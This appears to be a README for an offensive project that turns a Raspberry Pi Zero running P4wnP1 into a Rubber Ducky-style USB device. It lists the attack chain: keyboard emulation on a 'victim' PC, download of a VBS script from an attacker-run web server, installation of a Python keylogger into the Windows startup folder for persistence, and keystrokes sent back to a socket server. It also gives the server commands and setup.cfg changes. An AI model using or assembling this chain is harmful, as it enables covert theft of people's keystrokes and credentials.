The goal of this project is made by steps :
- Starting a python Web server
- Starting socket server, waiting for keylogger connection
- Key is powered up
- The Key install a keyboard driver on the victim computer
- The key download the VBS Script available on the web server
- Execute VBS Script : a. Download & Install Python and Modules (pywin32 and pynput) b. Download keylogger to Windows startup folder, so it will launch everytime the victim start his PC C. Execute keylogger
- Keylogger communicate with the socket server
This project has been done with a Raspberry pi zero as a Rubber Ducky
python3 -m http.server
python3 Striker/server.py
Key configuration :
- P4wnPi (OS) : https://github.com/RoganDawes/P4wnP1
- DuckyScript : ducky.txt (Module used : hid_keyboard.txt)
Modify :
- P4wnP1/setup.cfg : USE_HID=true
- P4wnP1/setup.cfg : #PAYLOAD=network_only.txt
- P4wnP1/setup.cfg : PAYLOAD=hid_keyboard.txt
python3 Target/keylogger.py